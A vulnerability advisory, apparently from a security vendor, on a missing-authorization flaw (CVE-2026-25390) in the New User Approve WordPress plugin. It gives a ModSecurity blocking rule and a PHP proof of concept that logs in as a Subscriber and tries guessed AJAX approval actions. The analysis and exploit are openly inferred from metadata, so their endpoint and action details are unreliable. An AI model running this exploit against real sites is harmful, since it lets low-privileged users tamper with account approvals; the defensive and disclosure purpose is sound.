Atomic Edge analysis of CVE-2026-25390 (metadata-based):
This vulnerability is a missing authorization flaw in the New User Approve WordPress plugin versions up to and including 3.2.3. The vulnerability allows authenticated attackers with Subscriber-level permissions to perform unauthorized actions. The CVSS 4.3 score reflects a moderate impact integrity attack with low privilege requirements and no confidentiality or availability effects.
Atomic Edge research indicates the root cause is a missing capability check on a plugin function. The CWE-862 classification confirms the plugin fails to verify a user’s authorization before executing a privileged action. This analysis infers the vulnerable function is likely an AJAX handler or admin POST endpoint that processes user management tasks. Without reviewing source code, we cannot confirm the exact function name or hook. The vulnerability exists because the plugin trusts the authenticated state alone, omitting a specific capability check like ‘manage_options’ or ‘promote_users’.
Exploitation requires an authenticated attacker with Subscriber access. The attacker sends a crafted request to a plugin endpoint, likely ‘/wp-admin/admin-ajax.php’ with an ‘action’ parameter corresponding to the vulnerable function. Based on the plugin’s purpose (user approval), Atomic Edge research suggests the vulnerable action may involve user status modification, approval toggling, or email resending. A realistic payload would be a POST request with parameters like ‘user_id’ or ‘approval_status’. The attacker needs no special privileges beyond a valid WordPress account.
The patch in version 3.2.4 likely adds a capability check using current_user_can() or similar WordPress authorization functions. The fix should verify the user possesses appropriate privileges before executing the sensitive function. Proper nonce verification might also be added, though the primary issue is authorization. The plugin should implement strict capability checks aligned with WordPress core user management permissions.
Successful exploitation allows low-privileged users to perform administrative user approval actions. Attackers could approve pending registrations, deny legitimate users, or modify user approval statuses. This could lead to unauthorized account activation, disruption of registration workflows, or privilege escalation if approval grants special access. The impact is limited to integrity violations within the user management system, not data exposure or remote code execution.
Here you will find our ModSecurity compatible rule to protect against this particular CVE.
# Atomic Edge WAF Rule - CVE-2026-25390 (metadata-based)
# Blocks unauthorized user approval actions by low-privileged users
# Targets New User Approve plugin AJAX endpoints without proper authorization
SecRule REQUEST_URI "@streq /wp-admin/admin-ajax.php"
"id:202625390,phase:2,deny,status:403,chain,msg:'CVE-2026-25390: New User Approve Missing Authorization via AJAX',severity:'CRITICAL',tag:'CVE-2026-25390',tag:'WordPress',tag:'Plugin',tag:'New-User-Approve'"
SecRule ARGS_POST:action "@rx ^(new_user_approve_|nua_)"
"chain,t:none"
SecRule &ARGS_POST:user_id "@gt 0"
"chain,t:none"
SecRule WEBAUTH:id "!@rx ^(administrator|editor|author|shop_manager)"
"t:none,setvar:'tx.cve_2026_25390_block=1'"
# Alternative rule if WordPress user role detection is unavailable
SecRule REQUEST_URI "@streq /wp-admin/admin-ajax.php"
"id:202625391,phase:2,deny,status:403,chain,msg:'CVE-2026-25390: New User Approve Missing Authorization - Direct Block',severity:'CRITICAL',tag:'CVE-2026-25390',tag:'WordPress',tag:'Plugin',tag:'New-User-Approve'"
SecRule ARGS_POST:action "@streq new_user_approve_approve_user"
"t:none,setvar:'tx.cve_2026_25390_block=1'"
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept (metadata-based)
// CVE-2026-25390 - New User Approve <= 3.2.3 - Missing Authorization
<?php
/**
* Proof of Concept for CVE-2026-25390
* Assumptions based on metadata:
* 1. Vulnerable endpoint is /wp-admin/admin-ajax.php
* 2. Action parameter involves user approval (exact name unknown)
* 3. Requires Subscriber authentication
* 4. Missing capability check allows unauthorized action
*/
$target_url = 'https://example.com/wp-admin/admin-ajax.php';
$username = 'subscriber';
$password = 'password';
// Initialize session
$ch = curl_init();
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_COOKIEJAR, '/tmp/cookies.txt');
curl_setopt($ch, CURLOPT_COOKIEFILE, '/tmp/cookies.txt');
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
// Step 1: Authenticate as Subscriber
$login_url = str_replace('/wp-admin/admin-ajax.php', '/wp-login.php', $target_url);
$login_data = array(
'log' => $username,
'pwd' => $password,
'wp-submit' => 'Log In',
'redirect_to' => $target_url,
'testcookie' => '1'
);
curl_setopt($ch, CURLOPT_URL, $login_url);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, $login_data);
$response = curl_exec($ch);
// Step 2: Exploit missing authorization
// Attempt common New User Approve AJAX actions
$possible_actions = array(
'new_user_approve_approve_user',
'new_user_approve_deny_user',
'new_user_approve_update_status',
'new_user_approve_resend_email',
'new_user_approve_bulk_action'
);
foreach ($possible_actions as $action) {
$exploit_data = array(
'action' => $action,
'user_id' => '1', // Assuming user ID 1 exists
'nonce' => 'bypassed' // Nonce may not be required
);
curl_setopt($ch, CURLOPT_URL, $target_url);
curl_setopt($ch, CURLOPT_POSTFIELDS, $exploit_data);
$response = curl_exec($ch);
echo "Attempted action: $actionn";
echo "Response: " . substr($response, 0, 200) . "nn";
}
curl_close($ch);
?>
